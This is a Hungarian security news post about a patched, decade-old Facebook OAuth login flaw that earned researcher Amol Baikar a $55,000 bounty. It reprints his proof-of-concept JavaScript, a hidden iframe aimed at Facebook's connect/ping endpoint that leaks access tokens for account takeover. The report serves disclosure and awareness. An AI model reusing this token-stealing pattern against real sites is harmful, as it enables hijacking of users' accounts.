Skip to content

Hydroxy.hu

Hírek, cikkek, vélemények elsősorban IT security és gaming témakörben

  • Kezdőlap
  • Informatika
  • Gaming
  • IT Security

Tíz éve a Facebook bejelentkezésben lévő hiba 55,000 dolláros jutalmat ért

2020.03.12. Kovács Nándor IT Security
Ha tetszett, oszd meg ismerőseiddel!

Amol Baikar indiai kiberbiztonsági szakértő fedezett fel tavaly decemberben egy, a „Bejelentkezés Facebook-kal” funkcióban, több mint 10 éve rejlő hibát a bug bounty program keretén belül, ami számára az eddigi legnagyobb kifizetett összeget jelentette: 55,000 dollár ütötte markát a hiba felfedezéséért.

Facebook OAuth Vulnerability.
$55,000 Bounty Awarded by Facebook.

Writeup:https://t.co/MpVgyUSQqQ#Facebook #Security #BugBounty

— Amol Baikar (@AmolBaikar) March 1, 2020

A „Bejelentkezés Facebook-kal” hiba kihasználása esetén a támadó egy megfelelően előkészített weboldal segítségével ellophatta az ACCESS_TOKEN-t, és teljesen átvehette az áldozat Facebook profilja felett az uralmat.

Az OAuth 2.0 technológia lehetővé teszi, hogy az ACCES_TOKEN segítségével információ cserélődjön a Facebook és harmadik félhez tartozó weboldalak között. Jó ideje ezt használja már a Facebook, de más szolgáltatások is.

A sebezhetőség kihasználásával nem csak a Facebook profil felett volt átvehető az irányítás, de olyan nagy szolgáltatások is érintettek, mint az Instagram, a Netflix, a Tinder, a Spotify, az Oculus.

Ha a támadó sikeresen megszerezte az access token-t, onnantól kezdve szabadon posztolhatott az áldozat üzenőfalára, írhatott üzenetet a nevében, hozzáférhetett a képekhez, videókhoz.

Hogyan történt a támadás?

Két feltétel kellett a támadás végrehajtásához:

  1. Kihagyni az X-Frame-Options beállítást a headerből
  2. Egy extra window.parent hozzáadásával a felhasználónak nem kellett semmit se tennie az oldalon, csupán elég volt azt megnyitnia

Ennek köszönhetően az elsődleges access token kiszivároghatott az áldozat tudta nélkül is.

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);

A hibát a Facebook már javította, de mivel több, mint tíz éve jelen volt a rendszerben így nincs kizárva, hogy támadók esetleg kihasználták a sebezhetőséget. Mindenesetre azt javasolják, hogy aki biztosra szeretne menni, az változtasson jelszót az érintett szolgáltatásokon, és jelentkezzen ki az összes eszközről.

Forrás


Ha tetszett, oszd meg ismerőseiddel!
biztonságbountybugfacebookkiberbiztonságloginsebezhetőségvulnerability

Bejegyzés navigáció

Previous Post:Szinte az összes APACHE TOMCAT verzió érintett az új sebezhetőségben – GHOSTCAT
Next Post:Sütitolvaj Android kártevőn keresztül vehetik át az uralmat a Facebook profilunk felett

Random Generátor Podcast

  • Ep.177. Fejlesztőként így látjuk az AI támogatását a melóban

    Listen to Ep.177. Fejlesztőként így látjuk az AI támogatását a melóban Tehát az is csak egy if, csak még nincs kommitolva... Timeline 04:21 - A mesterséges intelligencia felbérelt egy embert, hogy oldja meg helyette a tesztet, ami igazolja, hogy nem robot 12:13 - Fejlesztőként hogyan látjuk a mesterséges intelligencia jövőjét 27:00 - A ChatGPT-vel bővíti a Copilot-ot a Visual Studio-ban a Microsoft 34:26 - Gaming company…

    https://www.randomgenerator.hu/podcast-download/1395/ep-177-fejlesztokent-igy-latjuk-az-ai-tamogatasat-a-meloban.mp3

Kiemelt bejegyzések

Mi az a no-code / low-code fejlesztés?
Informatika

Mi az a no-code / low-code fejlesztés?

Techóriások meglepő első terméke
Informatika

Techóriások meglepő első terméke

Szedjük darabokra a Stranger Things 4. évadának hekkelős jelenetét!
Informatika

Szedjük darabokra a Stranger Things 4. évadának hekkelős jelenetét!

Programozási katasztrófák 2. rész
Informatika

Programozási katasztrófák 2. rész

Programozási katasztrófák 1. rész
Informatika

Programozási katasztrófák 1. rész

10 érdekes adattároló a múltból, amire talán már senki sem emlékszik
Informatika

10 érdekes adattároló a múltból, amire talán már senki sem emlékszik

Címkefelhő

adatbázis adatszivárgás android app biztonság bug ces chrome dark souls databreach dataleak email facebook gaming google hack hétköznap informatika jelszó jelszómenedzser játék kiberbiztonság lastpass munka múlt netflix nintendo okoseszköz password plugin programozás ransomware samsung sebezhetőség security sorozat squid game szoftverhiba tech történet vulnerability vélemény web wordpress érdekesség
WordPress Theme: Tortuga by ThemeZee.